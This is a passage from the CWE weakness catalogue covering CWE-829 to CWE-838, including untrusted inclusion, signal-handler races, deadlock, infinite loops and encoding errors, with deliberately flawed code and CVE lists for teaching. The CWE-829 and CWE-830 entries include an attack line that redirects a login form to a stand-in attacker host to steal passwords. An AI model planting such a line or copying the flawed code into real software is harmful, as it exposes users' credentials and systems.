Where non-reentrant functionality must be leveraged within a signal handler, be sure to block or mask signals appropriately. This includes blocking other signals within the signal handler itself that may also leverage the functionality. It also includes blocking all signals reliant upon the functionality when it is being accessed or modified by the normal behaviors of the software.

### Relationships

Nature	Type	ID	Name		Page
ChildOf		364	Signal Handler Race Condition		635
				<b>699</b>	
				<b>1000</b>	
ParentOf		479	Signal Handler Use of a Non-reentrant Function	<b>699</b>	807
				<b>1000</b>	

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
CERT C Secure Coding	SIG31-C	Do not access or modify shared objects in signal handlers

### References

[REF-53] Michal Zalewski. "Delivering Signals for Fun and Profit". < <http://lcamtuf.coredump.cx/signals.txt> >.

[REF-54] "Race Condition: Signal Handling". < [http://www.fortify.com/vulncat/en/vulncat/cpp/race\\_condition\\_signal\\_handling.html](http://www.fortify.com/vulncat/en/vulncat/cpp/race_condition_signal_handling.html) >.

## CWE-829: Inclusion of Functionality from Untrusted Control Sphere

Weakness ID: 829 (Weakness Class)

Status: Incomplete

### Description

#### Summary

The software imports, requires, or includes executable functionality (such as a library) from a source that is outside of the intended control sphere.

#### Extended Description



When including third-party functionality, such as a web widget, library, or other source of functionality, the software must effectively trust that functionality. Without sufficient protection mechanisms, the functionality could be malicious in nature (either by coming from an untrusted source, being spoofed, or being modified in transit from a trusted source). The functionality might also contain its own weaknesses, or grant access to additional functionality and state information that should be kept private to the base system, such as system state information, sensitive application data, or the DOM of a web application.

This might lead to many different consequences depending on the included functionality, but some examples include injection of malware, information exposure by granting excessive privileges or permissions to the untrusted functionality, DOM-based XSS vulnerabilities, stealing user's cookies, or open redirect to malware (CWE-601).

### Common Consequences

#### Confidentiality

#### Integrity

#### Availability

#### Execute unauthorized code or commands

An attacker could insert malicious functionality into the program by causing the program to download code that the attacker has placed into the untrusted control sphere, such as a malicious web site.

### Detection Methods

#### Automated Static Analysis - Binary / Bytecode

##### SOAR Partial

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Bytecode Weakness Analysis - including disassembler + source code weakness analysis

#### Manual Static Analysis - Binary / Bytecode

##### SOAR Partial

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

#### Dynamic Analysis with manual results interpretation

##### SOAR Partial

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Forced Path Execution

Monitored Virtual Environment - run potentially malicious code in sandbox / wrapper / virtual machine, see if it does anything suspicious

#### Manual Static Analysis - Source Code

##### SOAR High

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Manual Source Code Review (not inspections)

Cost effective for partial coverage:

Focused Manual Spotcheck - Focused manual analysis of source

#### Automated Static Analysis - Source Code

##### SOAR Partial

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Source code Weakness Analyzer

Context-configured Source Code Weakness Analyzer



**Architecture / Design Review****SOAR High**

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Formal Methods / Correct-By-Construction

Cost effective for partial coverage:

Attack Modeling

**Demonstrative Examples**

This login webpage includes a weather widget from an external website:

**HTML Example:***Bad Code*

```
<div class="header"> Welcome!
<div id="loginBox">Please Login:
  <form id="loginForm" name="loginForm" action="login.php" method="post">
    Username: <input type="text" name="username" />
    <br/>
    Password: <input type="password" name="password" />
    <input type="submit" value="Login" />
  </form>
</div>
<div id="WeatherWidget">
  <script type="text/javascript" src="externalDomain.example.com/weatherwidget.js"></script>
</div>
</div>
```

This webpage is now only as secure as the external domain it is including functionality from. If an attacker compromised the external domain and could add malicious scripts to the weatherwidget.js file, the attacker would have complete control, as seen in any XSS weakness (CWE-79).

For example, user login information could easily be stolen with a single line added to weatherwidget.js:

**Javascript Example:***Attack*

```
...Weather widget code...
document.getElementById('loginForm').action = "ATTACK.example.com/stealPassword.php";
```

This line of javascript changes the login form's original action target from the original website to an attack site. As a result, if a user attempts to login their username and password will be sent directly to the attack site.

**Observed Examples**

Reference	Description
CVE-2002-1704	PHP remote file include.
CVE-2002-1707	PHP remote file include.
CVE-2004-0030	Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request.
CVE-2004-0068	Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request.
CVE-2004-0127	Directory traversal vulnerability in PHP include statement.
CVE-2004-0128	Modification of assumed-immutable variable in configuration script leads to file inclusion.
CVE-2004-0285	Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request.
CVE-2005-1681	PHP remote file include.
CVE-2005-1864	PHP file inclusion.
CVE-2005-1869	PHP file inclusion.
CVE-2005-1870	PHP file inclusion.
CVE-2005-1964	PHP remote file include.
CVE-2005-1971	Directory traversal vulnerability in PHP include statement.
CVE-2005-2086	PHP remote file include.
CVE-2005-2154	PHP local file inclusion.

Reference	Description
CVE-2005-2157	Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request.
CVE-2005-2162	Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request.
CVE-2005-2198	Modification of assumed-immutable configuration variable in include file allows file inclusion via direct request.
CVE-2005-3335	PHP file inclusion issue, both remote and local; local include uses "." and "%00" characters as a manipulation, but many remote file inclusion issues probably have this vector.
CVE-2010-2076	Product does not properly reject DTDs in SOAP messages, which allows remote attackers to read arbitrary files, send HTTP requests to intranet servers, or cause a denial of service.

## Potential Mitigations

### Architecture and Design

#### Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

### Architecture and Design

#### Enforcement by Conversion

When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs.

For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [R.829.1] provide this capability.

### Architecture and Design

For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.

### Architecture and Design

#### Operation

#### Sandbox or Jail

##### Limited

Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software.

OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.

This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise.

Be careful to avoid CWE-243 and other weaknesses related to jails.

The effectiveness of this mitigation depends on the prevention capabilities of the specific sandbox or jail being used and might only help to reduce the scope of an attack, such as restricting the attacker to certain system calls or limiting the portion of the file system that can be accessed.

### Architecture and Design

#### Operation

#### Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [R.829.2]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

**Implementation****Input Validation**

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

When validating filenames, use stringent whitelists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a whitelist of allowable file extensions, which will help to avoid CWE-434.

Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a blacklist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator.

Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../.../" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.

**Architecture and Design****Operation****Identify and Reduce Attack Surface**

Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately.

This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.

**Architecture and Design****Implementation****Identify and Reduce Attack Surface**

Understand all the potential areas where untrusted inputs can enter your software: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.

Many file inclusion problems occur because the programmer assumed that certain inputs could not be modified, especially for cookies and URL components.

**Operation****Firewall****Moderate**

Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth.

An application firewall might not cover all possible input vectors. In addition, attack techniques might be available to bypass the protection mechanism, such as using malformed inputs that can still be processed by the component that receives those inputs. Depending on functionality, an application firewall might inadvertently reject or modify legitimate requests. Finally, some manual effort may be required for customization.

**Relationships**

Nature	Type	ID	Name	CVSS	Page
ChildOf		669	Incorrect Resource Transfer Between Spheres	<b>699</b> <b>1000</b>	1036
ChildOf		813	OWASP Top Ten 2010 Category A4 - Insecure Direct Object References	<b>809</b>	1246
ChildOf		864	2011 Top 25 - Insecure Interaction Between Components	<b>900</b>	1308
ParentOf		98	<i>Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion')</i>	<b>1000</b>	184
ParentOf		827	<i>Improper Control of Document Type Definition</i>	1000	1258
ParentOf		830	<i>Inclusion of Web Functionality from an Untrusted Source</i>	<b>699</b> <b>1000</b>	1267
MemberOf		884	<i>CWE Cross-section</i>	<b>884</b>	1319

**References**

[REF-21] OWASP. "OWASP Enterprise Security API (ESAPI) Project". < <http://www.owasp.org/index.php/ESAPI> >.

[REF-31] Sean Barnum and Michael Gegick. "Least Privilege". 2005-09-14. < <https://buildsecurityin.us-cert.gov/daisy/bsi/articles/knowledge/principles/351.html> >.

## CWE-830: Inclusion of Web Functionality from an Untrusted Source

**Weakness ID:** 830 (*Weakness Base*)

**Status:** Incomplete

**Description****Summary**

The software includes web functionality (such as a web widget) from another domain, which causes it to operate within the domain of the software, potentially granting total access and control of the software to the untrusted source.

**Extended Description**

Including third party functionality in a web-based environment is risky, especially if the source of the functionality is untrusted.

Even if the third party is a trusted source, the software may still be exposed to attacks and malicious behavior if that trusted source is compromised, or if the code is modified in transmission from the third party to the software.

This weakness is common in "mashup" development on the web, which may include source functionality from other domains. For example, Javascript-based web widgets may be inserted by using '<SCRIPT SRC="http://other.domain.here">' tags, which causes the code to run in the domain of the software, not the remote site from which the widget was loaded. As a result, the included code has access to the local DOM, including cookies and other data that the developer might not want the remote site to be able to access.

Such dependencies may be desirable, or even required, but sometimes programmers are not aware that a dependency exists.

## Common Consequences

**Confidentiality**

**Integrity**

**Availability**

**Execute unauthorized code or commands**

## Demonstrative Examples

This login webpage includes a weather widget from an external website:

### HTML Example:

*Bad Code*

```

<div class="header"> Welcome!
<div id="loginBox">Please Login:
  <form id="loginForm" name="loginForm" action="login.php" method="post">
    Username: <input type="text" name="username" />
    <br/>
    Password: <input type="password" name="password" />
    <input type="submit" value="Login" />
  </form>
</div>
<div id="WeatherWidget">
  <script type="text/javascript" src="externalDomain.example.com/weatherwidget.js"></script>
</div>
</div>

```

This webpage is now only as secure as the external domain it is including functionality from. If an attacker compromised the external domain and could add malicious scripts to the weatherwidget.js file, the attacker would have complete control, as seen in any XSS weakness (CWE-79).

For example, user login information could easily be stolen with a single line added to weatherwidget.js:

### Javascript Example:

*Attack*


```

...Weather widget code...
document.getElementById('loginForm').action = "ATTACK.example.com/stealPassword.php";

```

This line of javascript changes the login form's original action target from the original website to an attack site. As a result, if a user attempts to login their username and password will be sent directly to the attack site.

## Relationships

Nature	Type	ID	Name	V	Page
ChildOf		829	Inclusion of Functionality from Untrusted Control Sphere	<input checked="" type="checkbox"/>	1262
				<b>699</b>	<b>1000</b>

## References

Jeremiah Grossman. "Third-Party Web Widget Security FAQ". < <http://jeremiahgrossman.blogspot.com/2010/07/third-party-web-widget-security-faq.html> >.

# CWE-831: Signal Handler Function Associated with Multiple Signals

Weakness ID: 831 (*Weakness Base*)

Status: Incomplete

## Description

### Summary

The software defines a function that is used as a handler for more than one signal.

### Extended Description

While sometimes intentional and safe, when the same function is used to handle multiple signals, a race condition could occur if the function uses any state outside of its local declaration, such as global variables or non-reentrant functions, or has any side effects.

An attacker could send one signal that invokes the handler function; in many OSES, this will typically prevent the same signal from invoking the handler again, at least until the handler function has completed execution. However, the attacker could then send a different signal that is associated with the same handler function. This could interrupt the original handler function

while it is still executing. If there is shared state, then the state could be corrupted. This can lead to a variety of potential consequences depending on context, including denial of service and code execution.

Another rarely-explored possibility arises when the signal handler is only designed to be executed once (if at all). By sending multiple signals, an attacker could invoke the function more than once. This may generate extra, unintended side effects. A race condition might not even be necessary; the attacker could send one signal, wait until it is handled, then send the other signal.

### Common Consequences

**Availability**

**Integrity**

**Confidentiality**

**Access Control**

**Other**

**DoS: crash / exit / restart**

**Execute unauthorized code or commands**

**Read application data**

**Gain privileges / assume identity**

**Bypass protection mechanism**

**Varies by context**

The most common consequence will be a corruption of the state of the software, possibly leading to a crash or exit. However, if the signal handler is operating on state variables for security relevant libraries or protection mechanisms, the consequences can be far more severe, including protection mechanism bypass, privilege escalation, or information exposure.

### Demonstrative Examples

#### Example 1:

This code registers the same signal handler function with two different signals.

*Bad Code*

```
void handler (int sigNum) {
    ...
}
int main (int argc, char* argv[]) {
    signal(SIGUSR1, handler)
    signal(SIGUSR2, handler)
}
```

#### Example 2:

This code registers the same signal handler function with two different signals (CWE-831). If those signals are sent to the process, the handler creates a log message (specified in the first argument to the program) and exits.

*Bad Code*

```
char *logMessage;
void handler (int sigNum) {
    syslog(LOG_NOTICE, "%s\n", logMessage);
    free(logMessage);
    /* artificially increase the size of the timing window to make demonstration of this weakness easier. */
    sleep(10);
    exit(0);
}
int main (int argc, char* argv[]) {
    logMessage = strdup(argv[1]);
    /* Register signal handlers. */
    signal(SIGHUP, handler);
    signal(SIGTERM, handler);
    /* artificially increase the size of the timing window to make demonstration of this weakness easier. */
    sleep(10);
}
```

The handler function uses global state (globalVar and logMessage), and it can be called by both the SIGHUP and SIGTERM signals. An attack scenario might follow these lines:



The program begins execution, initializes logMessage, and registers the signal handlers for SIGHUP and SIGTERM.

The program begins its "normal" functionality, which is simplified as sleep(), but could be any functionality that consumes some time.

The attacker sends SIGHUP, which invokes handler (call this "SIGHUP-handler").

SIGHUP-handler begins to execute, calling syslog().

syslog() calls malloc(), which is non-reentrant. malloc() begins to modify metadata to manage the heap.

The attacker then sends SIGTERM.

SIGHUP-handler is interrupted, but syslog's malloc call is still executing and has not finished modifying its metadata.

The SIGTERM handler is invoked.

SIGTERM-handler records the log message using syslog(), then frees the logMessage variable.

At this point, the state of the heap is uncertain, because malloc is still modifying the metadata for the heap; the metadata might be in an inconsistent state. The SIGTERM-handler call to free() is assuming that the metadata is inconsistent, possibly causing it to write data to the wrong location while managing the heap. The result is memory corruption, which could lead to a crash or even code execution, depending on the circumstances under which the code is running.

Note that this is an adaptation of a classic example as originally presented by Michal Zalewski [R.831.1]; the original example was shown to be exploitable for code execution.

Also note that the strdup(argv[1]) call contains a potential buffer over-read (CWE-126) if the program is called without any arguments, because argc would be 0, and argv[1] would point outside the bounds of the array.

#### Relationships

Nature	Type	ID	Name	V	Page
ChildOf	⊕	364	Signal Handler Race Condition	699 1000	635

#### References

[REF-53] Michal Zalewski. "Delivering Signals for Fun and Profit". < <http://lcamtuf.coredump.cx/signals.txt> >.

[REF-54] "Race Condition: Signal Handling". < [http://www.fortify.com/vulncat/en/vulncat/cpp/race\\_condition\\_signal\\_handling.html](http://www.fortify.com/vulncat/en/vulncat/cpp/race_condition_signal_handling.html) >.

## CWE-832: Unlock of a Resource that is not Locked

Weakness ID: 832 (Weakness Base)

Status: Incomplete

#### Description

##### Summary

The software attempts to unlock a resource that is not locked.

##### Extended Description

Depending on the locking functionality, an unlock of a non-locked resource might cause memory corruption or other modification to the resource (or its associated metadata that is used for tracking locks).

#### Common Consequences



**Integrity**  
**Confidentiality**  
**Availability**  
**Other**  
**DoS: crash / exit / restart**  
**Execute unauthorized code or commands**  
**Modify memory**  
**Other**

Depending on the locking being used, an unlock operation might not have any adverse effects. When effects exist, the most common consequence will be a corruption of the state of the software, possibly leading to a crash or exit; depending on the implementation of the unlocking, memory corruption or code execution could occur.

#### Observed Examples

Reference	Description
CVE-2008-4302	Chain: OS kernel does not properly handle a failure of a function call (CWE-755), leading to an unlock of a resource that was not locked (CWE-832), with resultant crash.
CVE-2009-1243	OS kernel performs an unlock in some incorrect circumstances, leading to panic.
CVE-2010-4210	function in OS kernel unlocks a mutex that was not previously locked, causing a panic or overwrite of arbitrary memory.

#### Relationships

Nature	Type	ID	Name	CVSS	Page
ChildOf		667	Improper Locking	699 1000	1032

## CWE-833: Deadlock

Weakness ID: 833 (Weakness Base)

Status: Incomplete

#### Description

##### Summary

The software contains multiple threads or executable segments that are waiting for each other to release a necessary lock, resulting in deadlock.

#### Common Consequences

##### Availability

**DoS: resource consumption (CPU)**

**DoS: resource consumption (other)**

**DoS: crash / exit / restart**

Each thread of execution will "hang" and prevent tasks from completing. In some cases, CPU consumption may occur if a lock check occurs in a tight loop.

#### Observed Examples

Reference	Description
CVE-2002-1850	read/write deadlock between web server and script
CVE-2004-0174	web server deadlock involving multiple listening connections
CVE-2005-2456	Chain: array index error (CWE-129) leads to deadlock (CWE-833)
CVE-2005-3106	Race condition leads to deadlock.
CVE-2005-3847	OS kernel has deadlock triggered by a signal during a core dump.
CVE-2006-2275	Deadlock when large number of small messages cannot be processed quickly enough.
CVE-2006-2374	Deadlock in device driver triggered by using file handle of a related device.
CVE-2006-4342	deadlock when an operation is performed on a resource while it is being removed.
CVE-2006-5158	chain: other weakness leads to NULL pointer dereference (CWE-476) or deadlock (CWE-833).
CVE-2009-1388	multiple simultaneous calls to the same function trigger deadlock.
CVE-2009-1961	OS deadlock involving 3 separate functions
CVE-2009-2699	deadlock in library
CVE-2009-2857	OS deadlock
CVE-2009-4272	deadlock triggered by packets that force collisions in a routing table

## Relationships

Nature	Type	ID	Name	V	Page
ChildOf	B	667	Improper Locking	699	1032
ChildOf	C	853	CERT Java Secure Coding Section 08 - Locking (LCK)	1000	1295
				844	

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
CERT Java Secure Coding	LCK08-J	Ensure actively held locks are released on exceptional conditions

## References

[REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 13, "Synchronization Problems" / "Starvation and Deadlocks", Page 760. 1st Edition. Addison Wesley. 2006.

[REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 13, "Starvation and Deadlocks", Page 760.. 1st Edition. Addison Wesley. 2006.

[REF-19] Robert C. Seacord. "Secure Coding in C and C++". Chapter 7, "Concurrency", section "Mutual Exclusion and Deadlock", Page 248.. Addison Wesley. 2006.

## CWE-834: Excessive Iteration

Weakness ID: 834 (Weakness Base)

Status: Incomplete

## Description

## Summary

The software performs an iteration or loop without sufficiently limiting the number of times that the loop is executed.

## Extended Description

If the iteration can be influenced by an attacker, this weakness could allow attackers to consume excessive resources such as CPU or memory. In many cases, a loop does not need to be infinite in order to cause enough resource consumption to adversely affect the software or its host system; it depends on the amount of resources consumed per iteration.

## Common Consequences

## Availability

**DoS: resource consumption (CPU)**

**DoS: resource consumption (memory)**

**DoS: amplification**

**DoS: crash / exit / restart**

Excessive looping will cause unexpected consumption of resources, such as CPU cycles or memory. The software's operation may slow down, or cause a long time to respond. If limited resources such as memory are consumed for each iteration, the loop may eventually cause a crash or program exit due to exhaustion of resources, such as an out-of-memory error.

## Detection Methods

**Dynamic Analysis with manual results interpretation**

**SOAR Partial**

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Fuzz Tester

Framework-based Fuzzer

Forced Path Execution

**Manual Static Analysis - Source Code****SOAR Partial**

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

- Focused Manual Spotcheck - Focused manual analysis of source
- Manual Source Code Review (not inspections)

**Automated Static Analysis - Source Code****SOAR High**

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

- Context-configured Source Code Weakness Analyzer

**Architecture / Design Review****SOAR High**

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

- Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

**Relationships**

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf		691	Insufficient Control Flow Management	<b>699</b> <b>1000</b>	1072
CanFollow		606	Unchecked Input for Loop Condition	1000	953
ParentOf		674	Uncontrolled Recursion	1000	1042
ParentOf		835	Loop with Unreachable Exit Condition ('Infinite Loop')	<b>699</b> <b>1000</b>	1273

**References**

[REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 7, "Looping Constructs", Page 327.. 1st Edition. Addison Wesley. 2006.

## CWE-835: Loop with Unreachable Exit Condition ('Infinite Loop')

Weakness ID: 835 (*Weakness Base*)

Status: Incomplete

**Description****Summary**

The program contains an iteration or loop with an exit condition that cannot be reached, i.e., an infinite loop.

**Extended Description**

If the loop can be influenced by an attacker, this weakness could allow attackers to consume excessive resources such as CPU or memory.

**Applicable Platforms****Languages**

- Language-independent

**Common Consequences****Availability**

**DoS: resource consumption (CPU)**

**DoS: resource consumption (memory)**

**DoS: amplification**

An infinite loop will cause unexpected consumption of resources, such as CPU cycles or memory. The software's operation may slow down, or cause a long time to respond.

**Demonstrative Examples****Example 1:**

In the following code the method `processMessagesFromServer` attempts to establish a connection to a server and read and process messages from the server. The method uses a `do/while` loop to continue trying to establish the connection to the server when an attempt fails.

**C/C++ Example:***Bad Code*

```
int processMessagesFromServer(char *hostaddr, int port) {
    ...
    int servsock;
    int connected;
    struct sockaddr_in servaddr;
    // create socket to connect to server
    servsock = socket( AF_INET, SOCK_STREAM, 0);
    memset( &servaddr, 0, sizeof(servaddr));
    servaddr.sin_family = AF_INET;
    servaddr.sin_port = htons(port);
    servaddr.sin_addr.s_addr = inet_addr(hostaddr);
    do {
        // establish connection to server
        connected = connect(servsock, (struct sockaddr *)&servaddr, sizeof(servaddr));
        // if connected then read and process messages from server
        if (connected > -1) {
            // read and process messages
            ...
        }
        // keep trying to establish connection to the server
    } while (connected < 0);
    // close socket and return success or failure
    ...
}
```

However, this will create an infinite loop if the server does not respond. This infinite loop will consume system resources and can be used to create a denial of service attack. To resolve this a counter should be used to limit the number of attempts to establish a connection to the server, as in the following code.

**C/C++ Example:***Good Code*

```
int processMessagesFromServer(char *hostaddr, int port) {
    ...
    // initialize number of attempts counter
    int count = 0;
    do {
        // establish connection to server
        connected = connect(servsock, (struct sockaddr *)&servaddr, sizeof(servaddr));
        // increment counter
        count++;
        // if connected then read and process messages from server
        if (connected > -1) {
            // read and process messages
            ...
        }
        // keep trying to establish connection to the server
        // up to a maximum number of attempts
    } while (connected < 0 && count < MAX_ATTEMPTS);
    // close socket and return success or failure
    ...
}
```

**Example 2:**

For this example the method `isReorderNeeded` as part of a bookstore application that determines if a particular book needs to be reordered based on the current inventory count and the rate at which the book is being sold.

**Java Example:***Bad Code*

```
public boolean isReorderNeeded(String bookISBN, int rateSold) {
    boolean isReorder = false;
    int minimumCount = 10;
    int days = 0;
```

```
// get inventory count for book
int inventoryCount = inventory.getInventoryCount(bookISBN);
// find number of days until inventory count reaches minimum
while (inventoryCount > minimumCount) {
    inventoryCount = inventoryCount - rateSold;
    days++;
}
// if number of days within reorder timeframe
// set reorder return boolean to true
if (days > 0 && days < 5) {
    isReorder = true;
}
return isReorder;
}
```

However, the while loop will become an infinite loop if the rateSold input parameter has a value of zero since the inventoryCount will never fall below the minimumCount. In this case the input parameter should be validated to ensure that a value of zero does not cause an infinite loop, as in the following code.

#### Java Example:

Good Code

```
public boolean isReorderNeeded(String bookISBN, int rateSold) {
    ...
    // validate rateSold variable
    if (rateSold < 1) {
        return isReorder;
    }
    ...
}
```

#### Observed Examples

Reference	Description
CVE-2010-2534	Chain: improperly clearing a pointer in a linked list leads to infinite loop.
CVE-2010-4476	Floating point conversion routine cycles back and forth between two different values.
CVE-2010-4645	Floating point conversion routine cycles back and forth between two different values.
CVE-2011-1002	NULL UDP packet is never cleared from a queue, leading to infinite loop.
CVE-2011-1027	Chain: off-by-one error leads to infinite loop using invalid hex-encoded characters.
CVE-2011-1142	Chain: self-referential values in recursive definitions lead to infinite loop.

#### Relationships

Nature	Type	ID	Name		Page
ChildOf		834	Excessive Iteration		699 1000 1272
MemberOf		884	CWE Cross-section		884 1319

#### References

[REF-7] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 7, "Looping Constructs", Page 327.. 1st Edition. Addison Wesley. 2006.

## CWE-836: Use of Password Hash Instead of Password for Authentication

Weakness ID: 836 (Weakness Base)

Status: Incomplete

#### Description

##### Summary

The software records password hashes in a data store, receives a hash of a password from a client, and compares the supplied hash to the hash obtained from the data store.

##### Extended Description

Some authentication mechanisms rely on the client to generate the hash for a password, possibly to reduce load on the server or avoid sending the password across the network. However, when the client is used to generate the hash, an attacker can bypass the authentication by obtaining a copy of the hash, e.g. by using SQL injection to compromise a database of authentication

credentials, or by exploiting an information exposure. The attacker could then use a modified client to replay the stolen hash without having knowledge of the original password.

As a result, the server-side comparison against a client-side hash does not provide any more security than the use of passwords without hashing.

#### Applicable Platforms

##### Languages

- Language-independent

#### Common Consequences

##### Access Control

##### Bypass protection mechanism

##### Gain privileges / assume identity

An attacker could bypass the authentication routine without knowing the original password.

#### Observed Examples

Reference	Description
CVE-2005-3435	Product allows attackers to bypass authentication by obtaining the password hash for another user and specifying the hash in the pwd argument.
CVE-2009-1283	Product performs authentication with user-supplied password hashes that can be obtained from a separate SQL injection vulnerability (CVE-2009-1282).

#### Relationships

Nature	Type	ID	Name	V	Page
ChildOf		287	Improper Authentication	<b>699</b>	507
				<b>1000</b>	
PeerOf		602	Client-Side Enforcement of Server-Side Security	1000	947

## CWE-837: Improper Enforcement of a Single, Unique Action

Weakness ID: 837 (Weakness Base)

Status: Incomplete

#### Description

##### Summary

The software requires that an actor should only be able to perform an action once, or to have only one unique action, but the software does not enforce or improperly enforces this restriction.

##### Extended Description

In various applications, a user is only expected to perform a certain action once, such as voting, requesting a refund, or making a purchase. When this restriction is not enforced, sometimes this can have security implications. For example, in a voting application, an attacker could attempt to "stuff the ballot box" by voting multiple times. If these votes are counted separately, then the attacker could directly affect who wins the vote. This could have significant business impact depending on the purpose of the software.

#### Applicable Platforms

##### Languages

- Language-independent

#### Common Consequences

##### Other

An attacker might be able to gain advantage over other users by performing the action multiple times, or affect the correctness of the software.

#### Observed Examples

Reference	Description
CVE-2002-1018	Library feature allows attackers to check out the same e-book multiple times, preventing other users from accessing copies of the e-book.
CVE-2002-216	Polling software allows people to vote more than once by setting a cookie.
CVE-2003-1433	Chain: lack of validation of a challenge key in a game allows a player to register multiple times and lock other players out of the game.
CVE-2005-4051	CMS allows people to rate downloads by voting more than once.

Reference	Description
CVE-2008-0294	Ticket-booking web application allows a user to lock a seat more than once.
CVE-2009-2346	Protocol implementation allows remote attackers to cause a denial of service (call-number exhaustion) by initiating many message exchanges.

### Relationships

Nature	Type	ID	Name	<input checked="" type="checkbox"/>	Page
ChildOf		799	Improper Control of Interaction Frequency		699 1000 1225

## CWE-838: Inappropriate Encoding for Output Context

Weakness ID: 838 (Weakness Base)

Status: Incomplete

### Description

#### Summary

The software uses or specifies an encoding when generating output to a downstream component, but the specified encoding is not the same as the encoding that is expected by the downstream component.

#### Extended Description

This weakness can cause the downstream component to use a decoding method that produces different data than what the software intended to send. When the wrong encoding is used - even if closely related - the downstream component could decode the data incorrectly. This can have security consequences when the provided boundaries between control and data are inadvertently broken, because the resulting data could introduce control characters or special elements that were not sent by the software. The resulting data could then be used to bypass protection mechanisms such as input validation, and enable injection attacks.

While using output encoding is essential for ensuring that communications between components are accurate, the use of the wrong encoding - even if closely related - could cause the downstream component to misinterpret the output.

For example, HTML entity encoding is used for elements in the HTML body of a web page. However, a programmer might use entity encoding when generating output for that is used within an attribute of an HTML tag, which could contain functional Javascript that is not affected by the HTML encoding.

While web applications have received the most attention for this problem, this weakness could potentially apply to any type of software that uses a communications stream that could support multiple encodings.

### Applicable Platforms

#### Languages

- Language-independent

### Common Consequences

#### Integrity

#### Confidentiality

#### Availability

#### Modify application data

#### Execute unauthorized code or commands

An attacker could modify the structure of the message or data being sent to the downstream component, possibly injecting commands.

### Demonstrative Examples

This code dynamically builds an HTML page using POST data:

#### PHP Example:

*Bad Code*

```
$username = $_POST['username'];
$picSource = $_POST['picsource'];
$picAltText = $_POST['picalttext'];
...
echo "<title>Welcome, " . htmlentities($username) . "</title>";
echo "<img src=\"" . htmlentities($picSource) . " ' alt=\"" . htmlentities($picAltText) . " />";
```



...

